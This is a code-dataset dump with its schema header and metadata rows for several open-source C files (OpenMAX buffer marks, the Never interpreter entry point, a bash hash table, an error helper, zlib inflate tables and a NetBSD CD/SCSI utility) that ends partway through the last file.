blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 4
721
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
57
| license_type
stringclasses 2
values | repo_name
stringlengths 5
91
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 321
values | visit_date
timestamp[ns]date 2016-08-12 09:31:09
2023-09-06 10:45:07
| revision_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| committer_date
timestamp[ns]date 2010-09-28 14:01:40
2023-09-06 06:22:19
| github_id
int64 426
681M
| star_events_count
int64 101
243k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[ns]date 2012-06-28 18:51:49
2023-09-14 21:59:16
⌀ | gha_created_at
timestamp[ns]date 2008-02-11 22:55:26
2023-08-10 11:14:58
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 26
values | language
stringclasses 2
values | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 6
10.2M
| extension
stringclasses 115
values | filename
stringlengths 3
113
| content
stringlengths 6
10.2M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fde665886246ffeecf0e795ba8999a9d01a6692d
|
7e1cd9b94c0c8c443f993362dc185dfc35ceb963
|
/interface/mmal/openmaxil/mmalomx_marks.c
|
a645af65026f00de20a4fa9177b9f9abc3f1a5bb
|
[
"BSD-3-Clause"
] |
permissive
|
raspberrypi/userland
|
92e557234bb6d7f701066543e0efc36dfb54a52c
|
cc1ca18fb0689b01cc2ca2aa4b400dcee624a213
|
refs/heads/master
| 2023-08-20T15:41:23.695645
| 2023-04-19T10:38:04
| 2023-04-20T13:36:13
| 6,367,886
| 1,608
| 928
|
BSD-3-Clause
| 2023-09-13T09:54:26
| 2012-10-24T09:58:46
|
C
|
UTF-8
|
C
| false
| false
| 4,276
|
c
|
mmalomx_marks.c
|
/*
Copyright (c) 2012, Broadcom Europe Ltd
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/** \file
* OpenMAX IL adaptation layer for MMAL - Marking related functions
*
* Note that we do not support buffer marks properly other than for conformance
* testing. For input ports, we just move the mark over to the output port.
*/
#include "mmalomx.h"
#include "mmalomx_buffer.h"
#include "mmalomx_marks.h"
#include "mmalomx_commands.h"
#include "mmalomx_logging.h"
#define MMALOMX_GET_MARK(port, mark) \
mark = &port->marks[port->marks_first]; \
port->marks_num--; \
port->marks_first = ++port->marks_first == MAX_MARKS_NUM ? 0 : port->marks_first
#define MMALOMX_PUT_MARK(port, mark) \
port->marks[(port->marks_first + port->marks_num) % MAX_MARKS_NUM] = *mark; \
port->marks_num++;
void mmalomx_mark_process_incoming(MMALOMX_COMPONENT_T *component,
MMALOMX_PORT_T *port, OMX_BUFFERHEADERTYPE *omx_buffer)
{
/* Tag buffers with OMX marks */
if (!omx_buffer->hMarkTargetComponent && port->marks_num > 0 &&
port->direction == OMX_DirInput)
{
OMX_MARKTYPE *mark;
MMALOMX_GET_MARK(port, mark);
omx_buffer->hMarkTargetComponent = mark->hMarkTargetComponent;
omx_buffer->pMarkData = mark->pMarkData;
mmalomx_callback_event_handler(component, OMX_EventCmdComplete,
OMX_CommandMarkBuffer, port->index, NULL);
}
/* We do not support buffer marks properly other than for conformance testing.
* For input ports, we just move the mark over to the output port. */
if (port->direction == OMX_DirInput && omx_buffer->hMarkTargetComponent)
{
OMX_MARKTYPE mark = {omx_buffer->hMarkTargetComponent, omx_buffer->pMarkData};
unsigned int i;
for (i = 0; i < component->ports_num; i++)
{
if (component->ports[i].direction != OMX_DirOutput ||
component->ports[i].marks_num >= MAX_MARKS_NUM)
continue;
MMALOMX_PUT_MARK((&component->ports[i]), (&mark));
}
}
}
void mmalomx_mark_process_outgoing(MMALOMX_COMPONENT_T *component,
MMALOMX_PORT_T *port, OMX_BUFFERHEADERTYPE *omx_buffer)
{
/* Tag buffers with OMX marks */
if (port->direction == OMX_DirOutput &&
!omx_buffer->hMarkTargetComponent && port->marks_num)
{
OMX_MARKTYPE *mark;
MMALOMX_GET_MARK(port, mark);
omx_buffer->hMarkTargetComponent = mark->hMarkTargetComponent;
omx_buffer->pMarkData = mark->pMarkData;
}
/* Check if we need to trigger a Mark event */
if (omx_buffer->hMarkTargetComponent &&
omx_buffer->hMarkTargetComponent == (OMX_HANDLETYPE)&component->omx)
{
mmalomx_callback_event_handler(component, OMX_EventMark, 0, 0, omx_buffer->pMarkData);
omx_buffer->hMarkTargetComponent = NULL;
omx_buffer->pMarkData = NULL;
}
}
|
1a00d4705adcff8e485d4af8f966c3dbc1e1bf13
|
4b52bc727e3757a133a02fe5b98dcbdbe80bb2e6
|
/main.c
|
8515ae2580da3e07e0cad191f558f82f9439baf4
|
[
"MIT"
] |
permissive
|
never-lang/never
|
bbad1b6c6de7cd14c1cd956fdb9622f03cd2db9a
|
008b8f3a143513cda312473595dccb9b1212981d
|
refs/heads/master
| 2023-09-04T09:20:41.379437
| 2023-09-02T07:39:04
| 2023-09-02T07:39:04
| 134,974,042
| 432
| 19
|
MIT
| 2023-09-02T07:29:45
| 2018-05-26T15:41:59
|
C
|
UTF-8
|
C
| false
| false
| 4,341
|
c
|
main.c
|
/**
* Copyright 2018 Slawomir Maludzinski
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include "getopt.h"
#include "nev.h"
#include <stdio.h>
#include <string.h>
static void print_usage(const char * exe)
{
printf("usage: %s [-m memory size (default: %u)] [-s stack size (default: "
"%u)] -f file name | -e \"one line of program\"\n",
exe, DEFAULT_VM_MEM_SIZE, DEFAULT_VM_STACK_SIZE);
}
static int get_result(object * result)
{
int ret = 0;
if (result->type == OBJECT_INT)
{
ret = result->int_value;
}
else if (result->type == OBJECT_LONG)
{
ret = (int)result->long_value;
}
else if (result->type == OBJECT_FLOAT)
{
ret = (int)result->float_value;
}
else if (result->type == OBJECT_DOUBLE)
{
ret = (int)result->double_value;
}
else
{
fprintf(stderr, "unknown result type %d\n", result->type);
}
return ret;
}
int never(const char * src)
{
int ret = 0;
program * prog = program_new();
ret = nev_compile_str(src, prog);
if (ret == 0)
{
object result = { 0 };
vm * machine = vm_new(DEFAULT_VM_MEM_SIZE, DEFAULT_VM_STACK_SIZE);
ret = nev_prepare(prog, "main");
if (ret == 0)
{
ret = nev_execute(prog, machine, &result);
if (ret == 0)
{
ret = get_result(&result);
}
}
vm_delete(machine);
}
#ifdef NO_FFI
printf("\r\n");
fflush(stdout);
#endif
program_delete(prog);
return ret;
}
int main(int argc, char * argv[])
{
const char * exe = argv[0];
const char * arg = NULL;
int fflag = 0, eflag = 0;
unsigned int vm_mem_size = 0, vm_stack_size = 0;
while (getopt(argc, argv, "f:e:m:s:") != -1)
{
switch (optopt)
{
case 'f':
arg = optarg;
fflag = 1;
break;
case 'e':
arg = optarg;
eflag = 1;
break;
case 'm':
sscanf(optarg, "%u", &vm_mem_size);
break;
case 's':
sscanf(optarg, "%u", &vm_stack_size);
break;
case '?':
default:
print_usage(exe);
return -1;
}
}
argc -= optind;
argv += optind;
if (vm_mem_size < 1)
{
vm_mem_size = DEFAULT_VM_MEM_SIZE;
}
if (vm_stack_size < 1)
{
vm_stack_size = DEFAULT_VM_STACK_SIZE;
}
if (eflag)
{
int ret;
object result = { 0 };
ret = nev_compile_str_and_exec(arg, argc, argv, &result, vm_mem_size,
vm_stack_size);
if (ret == 0)
{
return get_result(&result);
}
else
{
return 1;
}
}
if (fflag)
{
int ret;
object result = { 0 };
ret = nev_compile_file_and_exec(arg, argc, argv, &result, vm_mem_size,
vm_stack_size);
if (ret == 0)
{
return get_result(&result);
}
else
{
return 1;
}
}
printf("%s: no input files\n", exe);
print_usage(exe);
return 1;
}
|
f13544f733b5706d3b67ed21f01a7e95a46f6a7f
|
f7f043523dcacb348f7a387430ae5b7b2932b56a
|
/vendor/github.com/coreswitch/openconfigd/cli/hashlib.c
|
ea67dfc76c2eb41838778a0400b4579684b07a00
|
[
"Apache-2.0",
"FSFAP",
"GPL-3.0-or-later",
"GPL-3.0-only",
"LGPL-2.0-or-later"
] |
permissive
|
coreswitch/zebra
|
2f3dcbb0f1aa0350fe63d664e5533d6895030e85
|
1931dde592c81398707a07d90d00f90321dc9b46
|
refs/heads/master
| 2021-12-15T02:26:03.510038
| 2019-05-19T12:00:34
| 2019-05-19T12:00:34
| 107,520,729
| 105
| 22
|
Apache-2.0
| 2019-05-17T01:23:34
| 2017-10-19T08:42:40
|
Go
|
UTF-8
|
C
| false
| false
| 9,886
|
c
|
hashlib.c
|
/* hashlib.c -- functions to manage and access hash tables for bash. */
/* Copyright (C) 1987,1989,1991,1995,1998,2001,2003,2005,2006,2008,2009 Free Software Foundation, Inc.
This file is part of GNU Bash, the Bourne Again SHell.
Bash is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Bash is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Bash. If not, see <http://www.gnu.org/licenses/>.
*/
#include <config.h>
#include "bashansi.h"
#if defined (HAVE_UNISTD_H)
# ifdef _MINIX
# include <sys/types.h>
# endif
# include <unistd.h>
#endif
#include <stdio.h>
#include "shell.h"
#include "hashlib.h"
/* Rely on properties of unsigned division (unsigned/int -> unsigned) and
don't discard the upper 32 bits of the value, if present. */
#define HASH_BUCKET(s, t, h) (((h) = hash_string (s)) & ((t)->nbuckets - 1))
static BUCKET_CONTENTS *copy_bucket_array __P((BUCKET_CONTENTS *, sh_string_func_t *));
/* Make a new hash table with BUCKETS number of buckets. Initialize
each slot in the table to NULL. */
HASH_TABLE *
hash_create (buckets)
int buckets;
{
HASH_TABLE *new_table;
register int i;
new_table = (HASH_TABLE *)xmalloc (sizeof (HASH_TABLE));
if (buckets == 0)
buckets = DEFAULT_HASH_BUCKETS;
new_table->bucket_array =
(BUCKET_CONTENTS **)xmalloc (buckets * sizeof (BUCKET_CONTENTS *));
new_table->nbuckets = buckets;
new_table->nentries = 0;
for (i = 0; i < buckets; i++)
new_table->bucket_array[i] = (BUCKET_CONTENTS *)NULL;
return (new_table);
}
int
hash_size (table)
HASH_TABLE *table;
{
return (HASH_ENTRIES(table));
}
static BUCKET_CONTENTS *
copy_bucket_array (ba, cpdata)
BUCKET_CONTENTS *ba;
sh_string_func_t *cpdata; /* data copy function */
{
BUCKET_CONTENTS *new_bucket, *n, *e;
if (ba == 0)
return ((BUCKET_CONTENTS *)0);
for (n = (BUCKET_CONTENTS *)0, e = ba; e; e = e->next)
{
if (n == 0)
{
new_bucket = (BUCKET_CONTENTS *)xmalloc (sizeof (BUCKET_CONTENTS));
n = new_bucket;
}
else
{
n->next = (BUCKET_CONTENTS *)xmalloc (sizeof (BUCKET_CONTENTS));
n = n->next;
}
n->key = savestring (e->key);
n->data = e->data ? (cpdata ? (*cpdata) (e->data) : savestring (e->data))
: NULL;
n->khash = e->khash;
n->times_found = e->times_found;
n->next = (BUCKET_CONTENTS *)NULL;
}
return new_bucket;
}
HASH_TABLE *
hash_copy (table, cpdata)
HASH_TABLE *table;
sh_string_func_t *cpdata;
{
HASH_TABLE *new_table;
int i;
if (table == 0)
return ((HASH_TABLE *)NULL);
new_table = hash_create (table->nbuckets);
for (i = 0; i < table->nbuckets; i++)
new_table->bucket_array[i] = copy_bucket_array (table->bucket_array[i], cpdata);
new_table->nentries = table->nentries;
return new_table;
}
/* The `khash' check below requires that strings that compare equally with
strcmp hash to the same value. */
unsigned int
hash_string (s)
const char *s;
{
register unsigned int i;
/* This is the best string hash function I found.
The magic is in the interesting relationship between the special prime
16777619 (2^24 + 403) and 2^32 and 2^8. */
for (i = 0; *s; s++)
{
i *= 16777619;
i ^= *s;
}
return i;
}
/* Return the location of the bucket which should contain the data
for STRING. TABLE is a pointer to a HASH_TABLE. */
int
hash_bucket (string, table)
const char *string;
HASH_TABLE *table;
{
unsigned int h;
return (HASH_BUCKET (string, table, h));
}
/* Return a pointer to the hashed item. If the HASH_CREATE flag is passed,
create a new hash table entry for STRING, otherwise return NULL. */
BUCKET_CONTENTS *
hash_search (string, table, flags)
const char *string;
HASH_TABLE *table;
int flags;
{
BUCKET_CONTENTS *list;
int bucket;
unsigned int hv;
if (table == 0 || ((flags & HASH_CREATE) == 0 && HASH_ENTRIES (table) == 0))
return (BUCKET_CONTENTS *)NULL;
bucket = HASH_BUCKET (string, table, hv);
for (list = table->bucket_array ? table->bucket_array[bucket] : 0; list; list = list->next)
{
if (hv == list->khash && STREQ (list->key, string))
{
list->times_found++;
return (list);
}
}
if (flags & HASH_CREATE)
{
list = (BUCKET_CONTENTS *)xmalloc (sizeof (BUCKET_CONTENTS));
list->next = table->bucket_array[bucket];
table->bucket_array[bucket] = list;
list->data = NULL;
list->key = (char *)string; /* XXX fix later */
list->khash = hv;
list->times_found = 0;
table->nentries++;
return (list);
}
return (BUCKET_CONTENTS *)NULL;
}
/* Remove the item specified by STRING from the hash table TABLE.
The item removed is returned, so you can free its contents. If
the item isn't in this table NULL is returned. */
BUCKET_CONTENTS *
hash_remove (string, table, flags)
const char *string;
HASH_TABLE *table;
int flags;
{
int bucket;
BUCKET_CONTENTS *prev, *temp;
unsigned int hv;
if (table == 0 || HASH_ENTRIES (table) == 0)
return (BUCKET_CONTENTS *)NULL;
bucket = HASH_BUCKET (string, table, hv);
prev = (BUCKET_CONTENTS *)NULL;
for (temp = table->bucket_array[bucket]; temp; temp = temp->next)
{
if (hv == temp->khash && STREQ (temp->key, string))
{
if (prev)
prev->next = temp->next;
else
table->bucket_array[bucket] = temp->next;
table->nentries--;
return (temp);
}
prev = temp;
}
return ((BUCKET_CONTENTS *) NULL);
}
/* Create an entry for STRING, in TABLE. If the entry already
exists, then return it (unless the HASH_NOSRCH flag is set). */
BUCKET_CONTENTS *
hash_insert (string, table, flags)
char *string;
HASH_TABLE *table;
int flags;
{
BUCKET_CONTENTS *item;
int bucket;
unsigned int hv;
if (table == 0)
table = hash_create (0);
item = (flags & HASH_NOSRCH) ? (BUCKET_CONTENTS *)NULL
: hash_search (string, table, 0);
if (item == 0)
{
bucket = HASH_BUCKET (string, table, hv);
item = (BUCKET_CONTENTS *)xmalloc (sizeof (BUCKET_CONTENTS));
item->next = table->bucket_array[bucket];
table->bucket_array[bucket] = item;
item->data = NULL;
item->key = string;
item->khash = hv;
item->times_found = 0;
table->nentries++;
}
return (item);
}
/* Remove and discard all entries in TABLE. If FREE_DATA is non-null, it
is a function to call to dispose of a hash item's data. Otherwise,
free() is called. */
void
hash_flush (table, free_data)
HASH_TABLE *table;
sh_free_func_t *free_data;
{
int i;
register BUCKET_CONTENTS *bucket, *item;
if (table == 0 || HASH_ENTRIES (table) == 0)
return;
for (i = 0; i < table->nbuckets; i++)
{
bucket = table->bucket_array[i];
while (bucket)
{
item = bucket;
bucket = bucket->next;
if (free_data)
(*free_data) (item->data);
else
free (item->data);
free (item->key);
free (item);
}
table->bucket_array[i] = (BUCKET_CONTENTS *)NULL;
}
table->nentries = 0;
}
/* Free the hash table pointed to by TABLE. */
void
hash_dispose (table)
HASH_TABLE *table;
{
free (table->bucket_array);
free (table);
}
void
hash_walk (table, func)
HASH_TABLE *table;
hash_wfunc *func;
{
register int i;
BUCKET_CONTENTS *item;
if (table == 0 || HASH_ENTRIES (table) == 0)
return;
for (i = 0; i < table->nbuckets; i++)
{
for (item = hash_items (i, table); item; item = item->next)
if ((*func) (item) < 0)
return;
}
}
#if defined (DEBUG) || defined (TEST_HASHING)
void
hash_pstats (table, name)
HASH_TABLE *table;
char *name;
{
register int slot, bcount;
register BUCKET_CONTENTS *bc;
if (name == 0)
name = "unknown hash table";
fprintf (stderr, "%s: %d buckets; %d items\n", name, table->nbuckets, table->nentries);
/* Print out a count of how many strings hashed to each bucket, so we can
see how even the distribution is. */
for (slot = 0; slot < table->nbuckets; slot++)
{
bc = hash_items (slot, table);
fprintf (stderr, "\tslot %3d: ", slot);
for (bcount = 0; bc; bc = bc->next)
bcount++;
fprintf (stderr, "%d\n", bcount);
}
}
#endif
#ifdef TEST_HASHING
/* link with xmalloc.o and lib/malloc/libmalloc.a */
#undef NULL
#include <stdio.h>
#ifndef NULL
#define NULL 0
#endif
HASH_TABLE *table, *ntable;
int interrupt_immediately = 0;
int
signal_is_trapped (s)
int s;
{
return (0);
}
void
programming_error (const char *format, ...)
{
abort();
}
void
fatal_error (const char *format, ...)
{
abort();
}
main ()
{
char string[256];
int count = 0;
BUCKET_CONTENTS *tt;
table = hash_create (0);
for (;;)
{
char *temp_string;
if (fgets (string, sizeof (string), stdin) == 0)
break;
if (!*string)
break;
temp_string = savestring (string);
tt = hash_insert (temp_string, table, 0);
if (tt->times_found)
{
fprintf (stderr, "You have already added item `%s'\n", string);
free (temp_string);
}
else
{
count++;
}
}
hash_pstats (table, "hash test");
ntable = hash_copy (table, (sh_string_func_t *)NULL);
hash_flush (table, (sh_free_func_t *)NULL);
hash_pstats (ntable, "hash copy test");
exit (0);
}
#endif /* TEST_HASHING */
|
4603cbdc5cdcf75d78877283c8315b4dd6ac1bb3
|
fef5296397f9b950a11455e880a919537390aea0
|
/ide/dlight.nativeexecution/tools/killall/src/error.c
|
79a229970f5a933ad490c71602a034a14e01f607
|
[
"Apache-2.0"
] |
permissive
|
apache/netbeans
|
5a4d6fa9e4f230b33e44519a479d66e47a381289
|
28d308b400bbe439ac0ac84b64d823ce0b69272e
|
refs/heads/master
| 2023-08-29T15:32:41.838270
| 2023-08-29T09:48:59
| 2023-08-29T09:48:59
| 102,083,576
| 1,692
| 718
|
Apache-2.0
| 2023-09-14T19:41:05
| 2017-09-01T07:00:11
|
Java
|
UTF-8
|
C
| false
| false
| 2,000
|
c
|
error.c
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
#include "error.h"
extern const char* progname;
/*
* Print a message and return to caller.
* Caller specifies "errnoflag".
*/
static void err_doit(int errnoflag, int error, const char *fmt, va_list ap) {
char buf[MAXLINE];
snprintf(buf, MAXLINE, "%s: ", progname);
vsnprintf(buf + strlen(buf), MAXLINE, fmt, ap);
if (errnoflag) {
snprintf(buf + strlen(buf), MAXLINE - strlen(buf), ": %s", strerror(error));
}
strcat(buf, "\n");
fflush(stdout); /* in case stdout and stderr are the same */
fputs(buf, stderr);
fflush(NULL); /* flushes all stdio output streams */
}
/*
* Fatal error related to a system call.
* Print a message and terminate.
*/
void err_sys(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
err_doit(1, errno, fmt, ap);
va_end(ap);
exit(1);
}
void warn_sys(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
err_doit(1, errno, fmt, ap);
va_end(ap);
}
/*
* Fatal error unrelated to a system call.
* Print a message and terminate.
*/
void err_quit(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
err_doit(0, 0, fmt, ap);
va_end(ap);
exit(1);
}
|
a3e94857112f2da1524ef4112f5a9afc3f69c7a7
|
f7dc806f341ef5dbb0e11252a4693003a66853d5
|
/thirdparty/freetype/src/gzip/inftrees.h
|
a2207efb1f5e0462e890674761f4675cf688b17e
|
[
"LicenseRef-scancode-free-unknown",
"MIT",
"CC-BY-4.0",
"OFL-1.1",
"Bison-exception-2.2",
"CC0-1.0",
"LicenseRef-scancode-nvidia-2002",
"LicenseRef-scancode-other-permissive",
"GPL-3.0-only",
"LicenseRef-scancode-unknown-license-reference",
"Unlicense",
"BSL-1.0",
"Apache-2.0",
"BSD-3-Clause",
"LicenseRef-scancode-public-domain",
"LicenseRef-scancode-unicode",
"BSD-2-Clause",
"FTL",
"GPL-3.0-or-later",
"Bitstream-Vera",
"Zlib",
"MPL-2.0",
"MIT-Modern-Variant",
"JSON",
"Libpng",
"GPL-2.0-only",
"LicenseRef-scancode-unknown",
"GPL-1.0-or-later",
"LicenseRef-scancode-warranty-disclaimer"
] |
permissive
|
godotengine/godot
|
8a2419750f4851d1426a8f3bcb52cac5c86f23c2
|
970be7afdc111ccc7459d7ef3560de70e6d08c80
|
refs/heads/master
| 2023-08-21T14:37:00.262883
| 2023-08-21T06:26:15
| 2023-08-21T06:26:15
| 15,634,981
| 68,852
| 18,388
|
MIT
| 2023-09-14T21:42:16
| 2014-01-04T16:05:36
|
C++
|
UTF-8
|
C
| false
| false
| 3,000
|
h
|
inftrees.h
|
/* inftrees.h -- header to use inftrees.c
* Copyright (C) 1995-2005, 2010 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
#ifndef INFTREES_H
#define INFTREES_H
/* WARNING: this file should *not* be used by applications. It is
part of the implementation of the compression library and is
subject to change. Applications should only use zlib.h.
*/
/* Structure for decoding tables. Each entry provides either the
information needed to do the operation requested by the code that
indexed that table entry, or it provides a pointer to another
table that indexes more bits of the code. op indicates whether
the entry is a pointer to another table, a literal, a length or
distance, an end-of-block, or an invalid code. For a table
pointer, the low four bits of op is the number of index bits of
that table. For a length or distance, the low four bits of op
is the number of extra bits to get after the code. bits is
the number of bits in this code or part of the code to drop off
of the bit buffer. val is the actual byte to output in the case
of a literal, the base length or distance, or the offset from
the current table to the next table. Each entry is four bytes. */
typedef struct {
unsigned char op; /* operation, extra bits, table bits */
unsigned char bits; /* bits in this part of the code */
unsigned short val; /* offset in table or code value */
} code;
/* op values as set by inflate_table():
00000000 - literal
0000tttt - table link, tttt != 0 is the number of table index bits
0001eeee - length or distance, eeee is the number of extra bits
01100000 - end of block
01000000 - invalid code
*/
/* Maximum size of the dynamic table. The maximum number of code structures is
1444, which is the sum of 852 for literal/length codes and 592 for distance
codes. These values were found by exhaustive searches using the program
examples/enough.c found in the zlib distribution. The arguments to that
program are the number of symbols, the initial root table size, and the
maximum bit length of a code. "enough 286 9 15" for literal/length codes
returns returns 852, and "enough 30 6 15" for distance codes returns 592.
The initial root table size (9 or 6) is found in the fifth argument of the
inflate_table() calls in inflate.c and infback.c. If the root table size is
changed, then these maximum sizes would be need to be recalculated and
updated. */
#define ENOUGH_LENS 852
#define ENOUGH_DISTS 592
#define ENOUGH (ENOUGH_LENS+ENOUGH_DISTS)
/* Type of code to build for inflate_table() */
typedef enum {
CODES,
LENS,
DISTS
} codetype;
static int ZLIB_INTERNAL inflate_table OF((codetype type, unsigned short FAR *lens,
unsigned codes, code FAR * FAR *table,
unsigned FAR *bits, unsigned short FAR *work));
#endif /* INFTREES_H_ */
|
21c563f7f94c799eb39222bc752a067fdfa18b04
|
376e1818d427b5e4d32fa6dd6c7b71e9fd88afdb
|
/sysutils/hal/files/hald-netbsd/probing/cdutils.c
|
0d524eb92e1aae005cf11da1e96ae390696aff59
|
[] |
no_license
|
NetBSD/pkgsrc
|
a0732c023519650ef821ab89c23ab6ab59e25bdb
|
d042034ec4896cc5b47ed6f2e5b8802d9bc5c556
|
refs/heads/trunk
| 2023-09-01T07:40:12.138283
| 2023-09-01T05:25:19
| 2023-09-01T05:25:19
| 88,439,572
| 321
| 138
| null | 2023-07-12T22:34:14
| 2017-04-16T20:04:15
| null |
UTF-8
|
C
| false
| false
| 8,715
|
c
|
cdutils.c
|
/***************************************************************************
*
* cdutils.h : CD/DVD utilities
*
* Copyright 2006 Sun Microsystems, Inc. All rights reserved.
* Use is subject to license terms.
*
* Licensed under the Academic Free License version 2.1
*
**************************************************************************/
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#include <stdio.h>
#include <sys/types.h>
#include <sys/scsiio.h>
#include <sys/disklabel.h>
#include <dev/scsipi/scsi_spc.h>
#include <dev/scsipi/scsipi_all.h>
#include <dev/scsipi/scsipi_cd.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/dkio.h>
#include <libintl.h>
#include <logger.h>
#include "cdutils.h"
#define RQLEN 32
#define SENSE_KEY(rqbuf) (rqbuf[2]) /* scsi error category */
#define ASC(rqbuf) (rqbuf[12]) /* additional sense code */
#define ASCQ(rqbuf) (rqbuf[13]) /* ASC qualifier */
#define GET16(a) (((a)[0] << 8) | (a)[1])
#define GET32(a) (((a)[0] << 24) | ((a)[1] << 16) | ((a)[2] << 8) | (a)[3])
bool
scsi_command (int fd, void *cmd, size_t cmdlen, void *data, size_t datalen,
int timeout, int flags)
{
scsireq_t req;
memset(&req, 0, sizeof(req));
memcpy(req.cmd, cmd, cmdlen);
req.cmdlen = cmdlen;
req.databuf = data;
req.datalen = datalen;
req.timeout = timeout;
req.flags = flags;
req.senselen = SENSEBUFLEN;
if (ioctl(fd, SCIOCCOMMAND, &req) == -1)
return false;
if (req.retsts == SCCMD_OK)
return true;
return false;
}
int
mode_sense(int fd, u_char pc, int dbd, int page_len, u_char *buffer)
{
struct scsi_mode_sense_10 sms10;
memset(&sms10, 0, sizeof(sms10));
sms10.opcode = SCSI_MODE_SENSE_10;
if (dbd)
sms10.byte2 = SMS_DBD; /* no block descriptors */
sms10.page = pc;
sms10.length[0] = (page_len >> 8) & 0xff;
sms10.length[1] = page_len & 0xff;
return (scsi_command(fd, &sms10, sizeof(sms10), buffer, page_len, 10000, SCCMD_READ) == true);
}
/*
* will get the mode page only i.e. will strip off the header.
*/
int
get_mode_page(int fd, int page_no, int pc, int buf_len, u_char *buffer, int *plen)
{
int ret;
u_char byte2;
u_char buf[256];
u_int header_len, page_len, copy_cnt;
byte2 = (u_char)(((pc << 6) & 0xC0) | (page_no & 0x3f));
/* Ask 254 bytes only to make our IDE driver happy */
if ((ret = mode_sense(fd, byte2, 1, 254, buf)) == 0) {
return (0);
}
header_len = 8 + GET16(&buf[6]);
page_len = buf[header_len + 1] + 2;
copy_cnt = ((int)page_len > buf_len) ? (u_int)buf_len : page_len;
(void) memcpy(buffer, &buf[header_len], copy_cnt);
if (plen) {
*plen = page_len;
}
return (1);
}
/* Get information about the Logical Unit's capabilities */
int
get_configuration(int fd, uint16_t feature, int bufsize, u_char *buf)
{
struct scsipi_get_configuration conf;
memset(&conf, 0, sizeof(conf));
conf.opcode = GET_CONFIGURATION;
conf.request_type = 0x2;
conf.start_at_feature[0] = (feature >> 8) & 0xff;
conf.start_at_feature[1] = feature & 0xff;
conf.data_len[0] = (bufsize >> 8) & 0xff;
conf.data_len[1] = bufsize & 0xff;
return (scsi_command(fd, &conf, sizeof(conf), buf, bufsize, 10000, SCCMD_READ) == true);
}
bool
get_current_profile(int fd, int *profile)
{
u_char smallbuf[4];
size_t buflen;
u_char *bufp;
int ret = false;
/* first determine amount of memory needed to hold all profiles */
if (get_configuration(fd, 0, 4, &smallbuf[0])) {
buflen = GET32(smallbuf) + 4;
bufp = (u_char *)malloc(buflen);
/* now get all profiles */
if (get_configuration(fd, 0, buflen, bufp)) {
*profile = GET16(&bufp[6]);
ret = true;
}
